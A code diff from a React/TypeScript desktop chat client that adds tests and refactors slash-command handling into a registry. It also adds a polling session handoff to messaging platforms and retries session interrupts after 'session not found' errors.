+  }, [actions.cancelRun, actions.steerPrompt, actions.submitText, onReady])
 
   return null
 }
@@ -190,6 +200,68 @@ describe('usePromptActions /title', () => {
   })
 })
 
+describe('usePromptActions desktop slash pickers', () => {
+  beforeEach(() => {
+    setSessions(() => [sessionInfo({ id: '20260610_120000_abcdef', title: 'Loaded session' })])
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.useRealTimers()
+    vi.restoreAllMocks()
+  })
+
+  it('resumes an exact session id even when it is not in the loaded sidebar cache', async () => {
+    const resumeStoredSession = vi.fn(async () => undefined)
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        resumeStoredSession={resumeStoredSession}
+      />
+    )
+
+    await handle!.submitText('/resume 20260610_130000_123abc')
+
+    expect(resumeStoredSession).toHaveBeenCalledWith('20260610_130000_123abc')
+    expect(requestGateway).not.toHaveBeenCalledWith('slash.exec', expect.anything())
+  })
+
+  it('marks a timed-out handoff as failed so the next attempt can retry', async () => {
+    vi.useFakeTimers()
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'handoff.state') {
+        return { state: 'pending' } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    render(<Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />)
+
+    const result = handle!.submitText('/handoff telegram')
+    await vi.advanceTimersByTimeAsync(61_000)
+    await result
+
+    expect(calls.some(call => call.method === 'handoff.request')).toBe(true)
+    expect(calls).toContainEqual({
+      method: 'handoff.fail',
+      params: {
+        error: expect.stringContaining('Timed out'),
+        session_id: RUNTIME_SESSION_ID
+      }
+    })
+  })
+})
+
 describe('usePromptActions submit / queue drain semantics', () => {
   afterEach(() => {
     cleanup()
@@ -562,6 +634,43 @@ describe('usePromptActions sleep/wake session recovery', () => {
     expect(calls[2]?.params).toEqual({ session_id: RECOVERED_SESSION_ID, text: 'message after wake' })
   })
 
+  it('resumes the stored session and retries once when session.interrupt reports "session not found"', async () => {
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    let interruptAttempts = 0
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+      if (method === 'session.interrupt') {
+        interruptAttempts += 1
+        if (interruptAttempts === 1) {
+          throw new Error('session not found')
+        }
+        return {} as never
+      }
+      if (method === 'session.resume') {
+        return { session_id: RECOVERED_SESSION_ID } as never
+      }
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={STORED_SESSION_ID}
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    await handle!.cancelRun()
+
+    expect(calls.map(c => c.method)).toEqual(['session.interrupt', 'session.resume', 'session.interrupt'])
+    expect(calls[0]?.params).toEqual({ session_id: RUNTIME_SESSION_ID })
+    expect(calls[1]?.params).toEqual({ session_id: STORED_SESSION_ID })
+    expect(calls[2]?.params).toEqual({ session_id: RECOVERED_SESSION_ID })
+  })
+
   it('surfaces the original error (no resume) when the failure is not "session not found"', async () => {
     const calls: string[] = []
     const states: Record<string, unknown>[] = []
@@ -751,4 +860,3 @@ describe('uploadComposerAttachment remote read failures', () => {
     ).rejects.toThrow('ENOENT: no such file')
   })
 })
-

apps/desktop/src/app/session/hooks/use-prompt-actions.ts

@@ -4,20 +4,24 @@ import { type MutableRefObject, useCallback, useEffect, useRef } from 'react'
 
 import { getProfiles, transcribeAudio } from '@/hermes'
 import { translateNow, type Translations, useI18n } from '@/i18n'
+import { stripAnsi } from '@/lib/ansi'
 import { branchGroupForUser, type ChatMessage, chatMessageText, textPart } from '@/lib/chat-messages'
 import {
   optimisticAttachmentRef,
   parseCommandDispatch,
   parseSlashCommand,
   pathLabel,
+  sessionTitle,
   SLASH_COMMAND_RE
 } from '@/lib/chat-runtime'
 import {
   type CommandsCatalogLike,
+  type DesktopActionId,
+  type DesktopPickerId,
   desktopSlashUnavailableMessage,
   filterDesktopCommandsCatalog,
   isDesktopSlashCommand,
-  isModelPickerCommand
+  resolveDesktopCommand
 } from '@/lib/desktop-slash-commands'
 import { triggerHaptic } from '@/lib/haptics'
 import { setMutableRef } from '@/lib/mutable-ref'
@@ -38,11 +42,13 @@ import {
   $busy,
   $connection,
   $messages,
+  $sessions,
   $yoloActive,
   setAwaitingResponse,
   setBusy,
   setMessages,
   setModelPickerOpen,
+  setSessionPickerOpen,
   setSessions,
   setYoloActive
 } from '@/store/session'
@@ -50,12 +56,30 @@ import {
 import type {
   ClientSessionState,
   FileAttachResponse,
+  HandoffFailResponse,
+  HandoffRequestResponse,
+  HandoffStateResponse,
   ImageAttachResponse,
   SessionSteerResponse,
   SessionTitleResponse,
   SlashExecResponse
 } from '../../types'
 
+interface HandoffResult {
+  ok: boolean
+  error?: string
+}
+
+function delay(ms: number): Promise<void> {
+  return new Promise(resolve => setTimeout(resolve, ms))
+}
+
+function isSessionIdCandidate(value: string): boolean {
+  const trimmed = value.trim()
+
+  return /^\d{8}_\d{6}_[A-Fa-f0-9]{6}$/.test(trimmed) || /^[A-Fa-f0-9]{32}$/.test(trimmed)
+}
+
 function blobToDataUrl(blob: Blob): Promise<string> {
   return new Promise((resolve, reject) => {
     const reader = new FileReader()
@@ -84,6 +108,12 @@ function inlineErrorMessage(error: unknown, fallback: string): string {
   return (raw.match(/Error invoking remote method '[^']+': Error: (.+)$/)?.[1] ?? raw).replace(/^Error:\s*/, '').trim()
 }
 
+function isSessionNotFoundError(error: unknown): boolean {
+  const message = error instanceof Error ? error.message : String(error)
+
+  return /session not found/i.test(message)
+}
+
 function base64FromDataUrl(dataUrl: string): string {
   const comma = dataUrl.indexOf(',')
 
@@ -245,6 +275,7 @@ interface PromptActionsOptions {
   handleSkinCommand: (arg: string) => string
   refreshSessions: () => Promise<void>
   requestGateway: <T>(method: string, params?: Record<string, unknown>) => Promise<T>
+  resumeStoredSession: (storedSessionId: string) => Promise<void> | void
   selectedStoredSessionIdRef: MutableRefObject<string | null>
   startFreshSessionDraft: () => void
   sttEnabled: boolean
@@ -260,6 +291,15 @@ interface SubmitTextOptions {
   fromQueue?: boolean
 }
 
+/** Everything a slash handler needs about the invocation it's serving. */
+interface SlashActionCtx {
+  arg: string
+  command: string
+  name: string
+  recordInput: boolean
+  sessionHint?: string
+}
+
 function renderCommandsCatalog(catalog: CommandsCatalogLike, copy: Translations['desktop']): string {
   const desktopCatalog = filterDesktopCommandsCatalog(catalog)
 
@@ -310,6 +350,7 @@ export function usePromptActions({
   handleSkinCommand,
   refreshSessions,
   requestGateway,
+  resumeStoredSession,
   selectedStoredSessionIdRef,
   startFreshSessionDraft,
   sttEnabled,
@@ -320,7 +361,11 @@ export function usePromptActions({
 
   const appendSessionTextMessage = useCallback(
     (sessionId: string, role: ChatMessage['role'], text: string) => {
-      const body = text.trim()
+      // Strip ANSI: slash-command output from the backend worker carries SGR
+      // color codes (e.g. "Unknown command" in red). The ESC byte is invisible
+      // in the chat panel, so without this the `[1;31m…[0m` payload leaks as
+      // literal text.
+      const body = stripAnsi(text).trim()
 
       if (!body) {
         return
@@ -622,9 +667,7 @@ export function usePromptActions({
         try {
           await requestGateway('prompt.submit', { session_id: sessionId, text })
         } catch (firstErr) {
-          const firstMsg = firstErr instanceof Error ? firstErr.message : String(firstErr)
-
-          if (/session not found/i.test(firstMsg) && selectedStoredSessionIdRef.current) {
+          if (isSessionNotFoundError(firstErr) && selectedStoredSessionIdRef.current) {
             // Re-register the session in the gateway and get a fresh live ID.
             const resumed = await requestGateway<{ session_id: string }>('session.resume', {
               session_id: selectedStoredSessionIdRef.current
@@ -696,230 +739,124 @@ export function usePromptActions({
     ]
   )
 
+  // Queue a handoff of this session to a messaging platform and watch it to
+  // a terminal state. We only write the request through the gateway; the
+  // separate `hermes gateway` process performs the actual transfer, so we
+  // poll `handoff.state` (mirror of the CLI's block-poll) for the result.
+  const handoffSession = useCallback(
+    async (
+      platform: string,
+      options?: { onProgress?: (state: string) => void; sessionId?: string }
+    ): Promise<HandoffResult> => {
+      const sid = options?.sessionId || activeSessionIdRef.current
+
+      if (!sid) {
+        return { error: copy.sessionUnavailable, ok: false }
+      }
+
+      const target = platform.trim().toLowerCase()
+
+      if (!target) {
+        return { error: copy.handoff.failed(''), ok: false }
+      }
+
+      try {
+        options?.onProgress?.('pending')
+        await requestGateway<HandoffRequestResponse>('handoff.request', {
+          platform: target,
+          session_id: sid
+        })
+      } catch (err) {
+        return { error: inlineErrorMessage(err, copy.handoff.failed(target)), ok: false }
+      }
+
+      const deadline = Date.now() + 60_000
+      let lastState = 'pending'
+
+      while (Date.now() < deadline) {
+        await delay(800)
+
+        let record: HandoffStateResponse
+
+        try {
+          record = await requestGateway<HandoffStateResponse>('handoff.state', { session_id: sid })
+        } catch {
+          continue
+        }
+
+        const state = record.state || 'pending'
+
+        if (state !== lastState) {
+          options?.onProgress?.(state)
+          lastState = state
+        }
+
+        if (state === 'completed') {
+          appendSessionTextMessage(sid, 'system', copy.handoff.systemNote(target))
+          notify({ kind: 'success', message: copy.handoff.success(target) })
+
+          return { ok: true }
+        }
+
+        if (state === 'failed') {
+          return { error: record.error || copy.handoff.failed(target), ok: false }
+        }
+      }
+
+      const cleanup = await requestGateway<HandoffFailResponse>('handoff.fail', {
+        error: copy.handoff.timedOut,
+        session_id: sid
+      }).catch(() => null)
+
+      if (cleanup?.state === 'completed') {
+        appendSessionTextMessage(sid, 'system', copy.handoff.systemNote(target))
+        notify({ kind: 'success', message: copy.handoff.success(target) })
+
+        return { ok: true }
+      }
+
+      return { error: copy.handoff.timedOut, ok: false }
+    },
+    [activeSessionIdRef, appendSessionTextMessage, copy, requestGateway]
+  )
+
   const executeSlashCommand = useCallback(
     async (rawCommand: string, options?: { sessionId?: string; recordInput?: boolean }) => {
-      const runSlash = async (commandText: string, sessionHint?: string, recordInput = true): Promise<void> => {
-        const command = commandText.trim()
-        const { name, arg } = parseSlashCommand(command)
-        const normalizedName = name.toLowerCase()
+      const ensureSessionId = async (sessionHint?: string) =>
+        sessionHint || activeSessionIdRef.current || (await createBackendSessionForSend())
 
-        if (!name) {
-          const sessionId = sessionHint || activeSessionIdRef.current || (await createBackendSessionForSend())
-
-          if (sessionId) {
-            appendSessionTextMessage(sessionId, 'system', copy.emptySlashCommand)
-          }
-
-          return
-        }
-
-        if (normalizedName === 'new' || normalizedName === 'reset') {
-          startFreshSessionDraft()
-
-          return
-        }
-
-        if (normalizedName === 'branch' || normalizedName === 'fork') {
-          await branchCurrentSession()
-
-          return
-        }
-
-        // /yolo maps to the status-bar YOLO control — a per-session approval
-        // bypass, same scope as the TUI's Shift+Tab. With no session yet we arm
-        // it locally; the session-create path applies it on the first message.
-        if (normalizedName === 'yolo') {
-          const sid = sessionHint || activeSessionIdRef.current
-          const next = !$yoloActive.get()
-
-          if (!sid) {
-            setYoloActive(next)
-            notify({ kind: 'success', message: next ? copy.yoloArmed : copy.yoloOff })
-
-            return
-          }
-
-          try {
-            const active = await setSessionYolo(requestGateway, sid, next)
-            appendSessionTextMessage(sid, 'system', copy.yoloSystem(active))
-          } catch {
-            notify({ kind: 'error', title: copy.yoloTitle, message: copy.yoloToggleFailed })
-          }
-
-          return
-        }
-
-        // /model opens the desktop model picker overlay — the same full
-        // provider+model picker reachable from the status-bar model button —
-        // instead of the headless prompt_toolkit modal the slash worker can't
-        // render. With explicit args (`/model <name> [--provider ...]`) run the
-        // switch directly through slash.exec so power users can still type it.
-        if (isModelPickerCommand(`/${normalizedName}`)) {
-          if (!arg.trim()) {
-            setModelPickerOpen(true)
-
-            return
-          }
-
-          const sid = sessionHint || activeSessionIdRef.current || (await createBackendSessionForSend())
-
-          if (!sid) {
-            notify({ kind: 'error', title: 'Session unavailable', message: 'Could not create a new session' })
-
-            return
-          }
-
-          try {
-            const result = await requestGateway<SlashExecResponse>('slash.exec', {
-              session_id: sid,
-              command: command.replace(/^\/+/, '')
-            })
-
-            const body = result?.output || `/${name}: model switched`
-            appendSessionTextMessage(
-              sid,
-              'system',
-              recordInput ? slashStatusText(command, body) : body
-            )
-          } catch (err) {
-            appendSessionTextMessage(
-              sid,
-              'system',
-              `error: ${err instanceof Error ? err.message : String(err)}`
-            )
-          }
-
-          return
-        }
-
-        if (normalizedName === 'skin' && !sessionHint && !activeSessionIdRef.current) {
-          notify({ kind: 'success', message: handleSkinCommand(arg) })
-
-          return
-        }
-
-        // /profile selects which profile new chats open in — no app relaunch.
-        // A profile is per-session now, so an existing thread can't change its
-        // profile mid-stream; `/profile <name>` instead points the next new chat
-        // (and the current empty draft) at that profile's backend.
-        if (normalizedName === 'profile') {
-          const target = arg.trim()
-          const current = normalizeProfileKey($activeGatewayProfile.get())
-
-          if (!target) {
-            notify({
-              kind: 'success',
-              message: copy.profileStatus(current)
-            })
-
-            return
-          }
-
-          try {
-            const { profiles } = await getProfiles()
-            const match = profiles.find(profile => profile.name === target)
-
-            if (!match) {
-              notify({
-                kind: 'error',
-                title: copy.unknownProfile,
-                message: copy.noProfileNamed(target, profiles.map(profile => profile.name).join(', '))
-              })
-
-              return
-            }
-
-            const key = normalizeProfileKey(match.name)
-
-            $newChatProfile.set(key)
-            // Swap the live gateway now so an empty draft sends into this
-            // profile immediately; an existing thread keeps its own profile.
-            await ensureGatewayProfile(key)
-            notify({ kind: 'success', message: copy.newChatsProfile(match.name) })
-          } catch (err) {
-            notifyError(err, copy.setProfileFailed)
-          }
-
-          return
-        }
-
-        const sessionId = sessionHint || activeSessionIdRef.current || (await createBackendSessionForSend())
+      // Resolve the target session plus a writer for inline slash output, or
+      // notify + return null when none can be created. Folds the ensure / bail /
+      // build-renderSlashOutput boilerplate every exec-style handler repeats.
+      const withSlashOutput = async (
+        ctx: SlashActionCtx
+      ): Promise<{ render: (text: string) => void; sessionId: string } | null> => {
+        const sessionId = await ensureSessionId(ctx.sessionHint)
 
         if (!sessionId) {
-          notify({
-            kind: 'error',
-            title: copy.sessionUnavailable,
-            message: copy.createSessionFailed
-          })
+          notify({ kind: 'error', title: copy.sessionUnavailable, message: copy.createSessionFailed })
 
+          return null
+        }
+
+        const render = (text: string) =>
+          appendSessionTextMessage(sessionId, 'system', ctx.recordInput ? slashStatusText(ctx.command, text) : text)
+
+        return { render, sessionId }
+      }
+
+      // `exec` commands (and unknown skill / quick commands the backend owns)
+      // run on the gateway and render their text output inline. This is the only
+      // path that talks to slash.exec / command.dispatch.
+      async function runExec(ctx: SlashActionCtx): Promise<void> {
+        const { arg, command, name } = ctx
+        const resolved = await withSlashOutput(ctx)
+
+        if (!resolved) {
           return
         }
 
-        const renderSlashOutput = (text: string) =>
-          appendSessionTextMessage(sessionId, 'system', recordInput ? slashStatusText(command, text) : text)
-
-        // /title <name> renames the session. Route through the gateway's
-        // `session.title` RPC — the same path the TUI uses — NOT the REST
-        // renameSession endpoint and NOT the slash worker.
-        //
-        // Why not the slash worker: it's a separate HermesCLI subprocess whose
-        // SQLite write to the shared state.db can silently fail (notably on
-        // Windows), and it never refreshes the sidebar.
-        //
-        // Why not REST renameSession: `sessionId` here is the *runtime* session
-        // id returned by session.create — it is NOT the stored DB `sessions.id`,
-        // and session.create deliberately does not persist a DB row until the
-        // first turn. The REST PATCH endpoint resolves against the sessions
-        // table, so a runtime id (or a brand-new, not-yet-persisted session)
-        // 404s with "Session not found" on every platform. See #38508 / #38576.
-        //
-        // session.title maps the runtime id to the in-memory session, writes
-        // through the gateway's own DB connection, and QUEUES the title
-        // (`pending: true`) when the row isn't persisted yet — so it works for a
-        // fresh chat too. refreshSessions() then pulls the authoritative title
-        // back into the sidebar. A bare `/title` (no arg) still falls through to
-        // the worker to display the current title.
-        if (normalizedName === 'title' && arg) {
-          try {
-            const result = await requestGateway<SessionTitleResponse>('session.title', {
-              session_id: sessionId,
-              title: arg
-            })
-
-            const finalTitle = (result?.title || arg).trim()
-            const queued = result?.pending === true
-
-            setSessions(prev => prev.map(s => (s.id === sessionId ? { ...s, title: finalTitle || null } : s)))
-            await refreshSessions().catch(() => undefined)
-            renderSlashOutput(
-              finalTitle
-                ? `Session title set: ${finalTitle}${queued ? ' (queued while session initializes)' : ''}`
-                : 'Session title cleared.'
-            )
-          } catch (err) {
-            renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
-          }
-
-          return
-        }
-
-        if (normalizedName === 'skin') {
-          renderSlashOutput(handleSkinCommand(arg))
-
-          return
-        }
-
-        if (name === 'help' || name === 'commands') {
-          try {
-            const catalog = await requestGateway<CommandsCatalogLike>('commands.catalog', { session_id: sessionId })
-
-            renderSlashOutput(renderCommandsCatalog(catalog, copy))
-          } catch (err) {
-            renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
-          }
-
-          return
-        }
+        const { render: renderSlashOutput, sessionId } = resolved
 
         if (!isDesktopSlashCommand(name)) {
           renderSlashOutput(desktopSlashUnavailableMessage(name) || `/${name} is not available in the desktop app.`)
@@ -943,11 +880,7 @@ export function usePromptActions({
 
         try {
           const dispatch = parseCommandDispatch(
-            await requestGateway<unknown>('command.dispatch', {
-              session_id: sessionId,
-              name,
-              arg
-            })
+            await requestGateway<unknown>('command.dispatch', { session_id: sessionId, name, arg })
           )
 
           if (!dispatch) {
@@ -994,6 +927,261 @@ export function usePromptActions({
         }
       }
 
+      // One handler per `action` command. Adding a desktop-native command is a
+      // registry row in desktop-slash-commands.ts plus an entry here — never a
+      // new branch in a dispatch ladder.
+      const actionHandlers: Record<DesktopActionId, (ctx: SlashActionCtx) => Promise<void>> = {
+        new: async () => {
+          startFreshSessionDraft()
+        },
+        branch: async () => {
+          await branchCurrentSession()
+        },
+        // /yolo maps to the status-bar YOLO control — a per-session approval
+        // bypass, same scope as the TUI's Shift+Tab. With no session yet we arm
+        // it locally; the session-create path applies it on the first message.
+        yolo: async ({ sessionHint }) => {
+          const sid = sessionHint || activeSessionIdRef.current
+          const next = !$yoloActive.get()
+
+          if (!sid) {
+            setYoloActive(next)
+            notify({ kind: 'success', message: next ? copy.yoloArmed : copy.yoloOff })
+
+            return
+          }
+
+          try {
+            const active = await setSessionYolo(requestGateway, sid, next)
+            appendSessionTextMessage(sid, 'system', copy.yoloSystem(active))
+          } catch {
+            notify({ kind: 'error', title: copy.yoloTitle, message: copy.yoloToggleFailed })
+          }
+        },
+        // /handoff hands this session to a messaging platform. The platform is
+        // completed inline in the slash popover (backend _handoff_completions),
+        // so there is no overlay: `/handoff <platform>` runs the desktop's own
+        // handoff RPC. cli_only on the backend, so it must not reach slash.exec.
+        handoff: async ({ arg, command, recordInput, sessionHint }) => {
+          const platform = arg.trim()
+
+          if (!platform) {
+            notify({ kind: 'success', message: copy.handoff.pickPlatform })
+
+            return
+          }
+
+          const sid = sessionHint || activeSessionIdRef.current
+
+          if (!sid) {
+            notify({ kind: 'error', title: copy.sessionUnavailable, message: copy.createSessionFailed })
+
+            return
+          }
+
+          const result = await handoffSession(platform, { sessionId: sid })
+
+          if (!result.ok && result.error) {
+            appendSessionTextMessage(sid, 'system', recordInput ? slashStatusText(command, result.error) : result.error)
+          }
+        },
+        // /profile selects which profile new chats open in — no app relaunch.
+        // A profile is per-session now, so an existing thread can't change its
+        // profile mid-stream; `/profile <name>` points the next new chat (and
+        // the current empty draft) at that profile's backend.
+        profile: async ({ arg }) => {
+          const target = arg.trim()
+          const current = normalizeProfileKey($activeGatewayProfile.get())
+
+          if (!target) {
+            notify({ kind: 'success', message: copy.profileStatus(current) })
+
+            return
+          }
+
+          try {
+            const { profiles } = await getProfiles()
+            const match = profiles.find(profile => profile.name === target)
+
+            if (!match) {
+              notify({
+                kind: 'error',
+                title: copy.unknownProfile,
+                message: copy.noProfileNamed(target, profiles.map(profile => profile.name).join(', '))
+              })
+
+              return
+            }
+
+            const key = normalizeProfileKey(match.name)
+
+            $newChatProfile.set(key)
+            await ensureGatewayProfile(key)
+            notify({ kind: 'success', message: copy.newChatsProfile(match.name) })
+          } catch (err) {
+            notifyError(err, copy.setProfileFailed)
+          }
+        },
+        skin: async ({ arg, command, recordInput, sessionHint }) => {
+          const sid = sessionHint || activeSessionIdRef.current
+          const message = handleSkinCommand(arg)
+
+          // No session to print into yet — surface it as a toast instead of
+          // spinning up a backend session just to change the theme.
+          if (!sid) {
+            notify({ kind: 'success', message })
+
+            return
+          }
+
+          appendSessionTextMessage(sid, 'system', recordInput ? slashStatusText(command, message) : message)
+        },
+        // /title <name> renames via the gateway's session.title RPC — the same
+        // path the TUI uses, NOT REST renameSession (which 404s on runtime ids)
+        // nor the slash worker (whose DB write can silently fail). Bare /title
+        // shows the current title, which the worker owns, so delegate to exec.
+        title: async ctx => {
+          if (!ctx.arg) {
+            await runExec(ctx)
+
+            return
+          }
+
+          const resolved = await withSlashOutput(ctx)
+
+          if (!resolved) {
+            return
+          }
+
+          const { render: renderSlashOutput, sessionId } = resolved
+          const { arg } = ctx
+
+          try {
+            const result = await requestGateway<SessionTitleResponse>('session.title', {
+              session_id: sessionId,
+              title: arg
+            })
+
+            const finalTitle = (result?.title || arg).trim()
+            const queued = result?.pending === true
+
+            setSessions(prev => prev.map(s => (s.id === sessionId ? { ...s, title: finalTitle || null } : s)))
+            await refreshSessions().catch(() => undefined)
+            renderSlashOutput(
+              finalTitle
+                ? `Session title set: ${finalTitle}${queued ? ' (queued while session initializes)' : ''}`
+                : 'Session title cleared.'
+            )
+          } catch (err) {
+            renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
+          }
+        },
+        help: async ctx => {
+          const resolved = await withSlashOutput(ctx)
+
+          if (!resolved) {
+            return
+          }
+
+          const { render: renderSlashOutput, sessionId } = resolved
+
+          try {
+            const catalog = await requestGateway<CommandsCatalogLike>('commands.catalog', { session_id: sessionId })
+
+            renderSlashOutput(renderCommandsCatalog(catalog, copy))
+          } catch (err) {
+            renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
+          }
+        }
+      }
+
+      // Picker commands open a desktop overlay; a typed arg is resolved by that
+      // picker so the command never dead-ends or falls through to the backend.
+      const openPicker = async (pickerId: DesktopPickerId, ctx: SlashActionCtx): Promise<void> => {
+        if (pickerId === 'model') {
+          if (!ctx.arg.trim()) {
+            setModelPickerOpen(true)
+
+            return
+          }
+
+          // Power users can still type `/model <name>` — run it on the backend.
+          await runExec(ctx)
+
+          return
+        }
+
+        // session picker — /resume, /sessions, /switch
+        const query = ctx.arg.trim()
+
+        if (!query) {
+          setSessionPickerOpen(true)
+
+          return
+        }
+
+        const sessions = $sessions.get()
+        const lower = query.toLowerCase()
+
+        const match =
+          sessions.find(session => session.id === query) ||
+          sessions.find(session => sessionTitle(session).toLowerCase().includes(lower)) ||
+          sessions.find(session => (session.preview ?? '').toLowerCase().includes(lower))
+
+        if (!match) {
+          if (isSessionIdCandidate(query)) {
+            await resumeStoredSession(query)
+
+            return
+          }
+
+          notify({ kind: 'error', message: copy.resumeFailed })
+
+          return
+        }
+
+        await resumeStoredSession(match.id)
+      }
+
+      // The whole dispatcher: resolve the command's desktop surface, then act on
+      // its kind. No per-command ladder — behavior lives in the registry.
+      async function runSlash(commandText: string, sessionHint?: string, recordInput = true): Promise<void> {
+        const command = commandText.trim()
+        const { name, arg } = parseSlashCommand(command)
+
+        if (!name) {
+          const sessionId = await ensureSessionId(sessionHint)
+
+          if (sessionId) {
+            appendSessionTextMessage(sessionId, 'system', copy.emptySlashCommand)
+          }
+
+          return
+        }
+
+        const ctx: SlashActionCtx = { arg, command, name, recordInput, sessionHint }
+        const surface = resolveDesktopCommand(`/${name}`)?.surface
+
+        switch (surface?.kind) {
+          case 'unavailable': {
+            const resolved = await withSlashOutput(ctx)
+            resolved?.render(desktopSlashUnavailableMessage(name) || `/${name} is not available in the desktop app.`)
+
+            return
+          }
+
+          case 'picker':
+            return openPicker(surface.picker, ctx)
+
+          case 'action':
+            return actionHandlers[surface.action](ctx)
+
+          default:
+            // exec spec, or an unknown skill / quick command the backend owns.
+            return runExec(ctx)
+        }
+      }
+
       await runSlash(rawCommand, options?.sessionId, options?.recordInput ?? true)
     },
     [
@@ -1004,8 +1192,10 @@ export function usePromptActions({
       copy,
       createBackendSessionForSend,
       handleSkinCommand,
+      handoffSession,
       refreshSessions,
       requestGateway,
+      resumeStoredSession,
       startFreshSessionDraft,
       submitPromptText
     ]
@@ -1087,11 +1277,39 @@ export function usePromptActions({
     try {
       await requestGateway('session.interrupt', { session_id: sessionId })
     } catch (err) {
+      let stopError = err
+
+      if (isSessionNotFoundError(err) && selectedStoredSessionIdRef.current) {
+        try {
+          const resumed = await requestGateway<{ session_id: string }>('session.resume', {
+            session_id: selectedStoredSessionIdRef.current
+          })
+          const recoveredId = resumed?.session_id
+
+          if (recoveredId) {
+            activeSessionIdRef.current = recoveredId
+            await requestGateway('session.interrupt', { session_id: recoveredId })
+
+            return
+          }
+        } catch (resumeErr) {
+          stopError = resumeErr
+        }
+      }
+
       setMutableRef(busyRef, false)
       setBusy(false)
-      notifyError(err, copy.stopFailed)
+      notifyError(stopError, copy.stopFailed)
     }
-  }, [activeSessionId, activeSessionIdRef, busyRef, copy.stopFailed, requestGateway, updateSessionState])
+  }, [
+    activeSessionId,
+    activeSessionIdRef,
+    busyRef,
+    copy.stopFailed,
+    requestGateway,
+    selectedStoredSessionIdRef,
+    updateSessionState
+  ])
 
   // Steer = nudge the live turn without interrupting: the gateway appends the
   // text to the next tool result so the model reads it on its next iteration
@@ -1314,6 +1532,7 @@ export function usePromptActions({
     cancelRun,
     editMessage,
     handleThreadMessagesChange,
+    handoffSession,
     reloadFromMessage,
     steerPrompt,
     submitText,

apps/desktop/src/app/session/hooks/use-session-actions.ts

@@ -2,13 +2,12 @@ import type { MutableRefObject } from 'react'
 import { useCallback, useRef } from 'react'
 import type { NavigateFunction } from 'react-router-dom'
 
-import { deleteSession, getSessionMessages, setSessionArchived } from '@/hermes'
+import { deleteSession, getSessionMessages, listAllProfileSessions, setSessionArchived } from '@/hermes'
 import { useI18n } from '@/i18n'
 import { type ChatMessage, chatMessageText, preserveLocalAssistantErrors, toChatMessages } from '@/lib/chat-messages'
 import { normalizePersonalityValue } from '@/lib/chat-runtime'
 import { embeddedImageUrls, textWithoutEmbeddedImages } from '@/lib/embedded-images'
 import { setSessionYolo } from '@/lib/yolo-session'
-import { clearComposerAttachments, clearComposerDraft } from '@/store/composer'
 import { clearQueuedPrompts } from '@/store/composer-queue'
 import { $pinnedSessionIds } from '@/store/layout'
 import { clearNotifications, notify, notifyError } from '@/store/notifications'
@@ -19,8 +18,6 @@ import {
   $messages,
   $sessions,
   $yoloActive,
-  getRememberedWorkspaceCwd,
-  workspaceCwdForNewSession,
   sessionPinId,
   setActiveSessionId,
   setAwaitingResponse,
@@ -42,10 +39,11 @@ import {
   setSessionStartedAt,
   setSessionsTotal,
   setTurnStartedAt,
-  setYoloActive
+  setYoloActive,
+  workspaceCwdForNewSession
 } from '@/store/session'
 import { reportBackendContract } from '@/store/updates'
-import type { SessionCreateResponse, SessionInfo, SessionResumeResponse, UsageStats } from '@/types/hermes'
+import type { SessionCreateResponse, SessionInfo, SessionResumeResponse, SessionRuntimeInfo, UsageStats } from '@/types/hermes'
 
 import { NEW_CHAT_ROUTE, sessionRoute, SETTINGS_ROUTE } from '../../routes'
 import type { ClientSessionState, SidebarNavItem } from '../../types'
@@ -211,14 +209,67 @@ function patchSessionWorkspace(sessionId: string, cwd: string | undefined) {
   setSessions(prev => prev.map(session => (session.id === sessionId ? { ...session, cwd } : session)))
 }
 
-function applyRuntimeInfo(
-  info: SessionCreateResponse['info'] | undefined
-): Partial<Pick<ClientSessionState, 'branch' | 'cwd'>> | null {
+function sessionMatchesStoredId(session: SessionInfo, storedSessionId: string): boolean {
+  return session.id === storedSessionId || session._lineage_root_id === storedSessionId
+}
+
+function upsertResolvedSession(session: SessionInfo, storedSessionId: string) {
+  const lineage = session._lineage_root_id ?? session.id
+
+  setSessions(prev => [
+    session,
+    ...prev.filter(existing => {
+      if (sessionMatchesStoredId(existing, storedSessionId)) {
+        return false
+      }
+
+      return (existing._lineage_root_id ?? existing.id) !== lineage
+    })
+  ])
+}
+
+async function resolveStoredSession(storedSessionId: string): Promise<SessionInfo | undefined> {
+  const cached = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
+
+  if (cached) {
+    return cached
+  }
+
+  try {
+    const result = await listAllProfileSessions(500, 0, 'include', 'recent', 'all')
+    const resolved = result.sessions.find(session => sessionMatchesStoredId(session, storedSessionId))
+
+    if (resolved) {
+      upsertResolvedSession(resolved, storedSessionId)
+    }
+
+    return resolved
+  } catch {
+    return undefined
+  }
+}
+
+type SessionRuntimeStatePatch = Partial<
+  Pick<
+    ClientSessionState,
+    | 'branch'
+    | 'cwd'
+    | 'fast'
+    | 'model'
+    | 'personality'
+    | 'provider'
+    | 'reasoningEffort'
+    | 'serviceTier'
+    | 'yolo'
+  >
+>
+
+function applyRuntimeInfo(info: SessionRuntimeInfo | undefined): SessionRuntimeStatePatch | null {
   if (!info) {
     return null
   }
 
-  const sessionState: Partial<Pick<ClientSessionState, 'branch' | 'cwd'>> = {}
+  const sessionState: SessionRuntimeStatePatch = {}
 
   reportBackendContract(info.desktop_contract)
 
@@ -226,12 +277,14 @@ function applyRuntimeInfo(
     requestDesktopOnboarding(info.credential_warning)
   }
 
-  if (info.model) {
+  if (typeof info.model === 'string') {
     setCurrentModel(info.model)
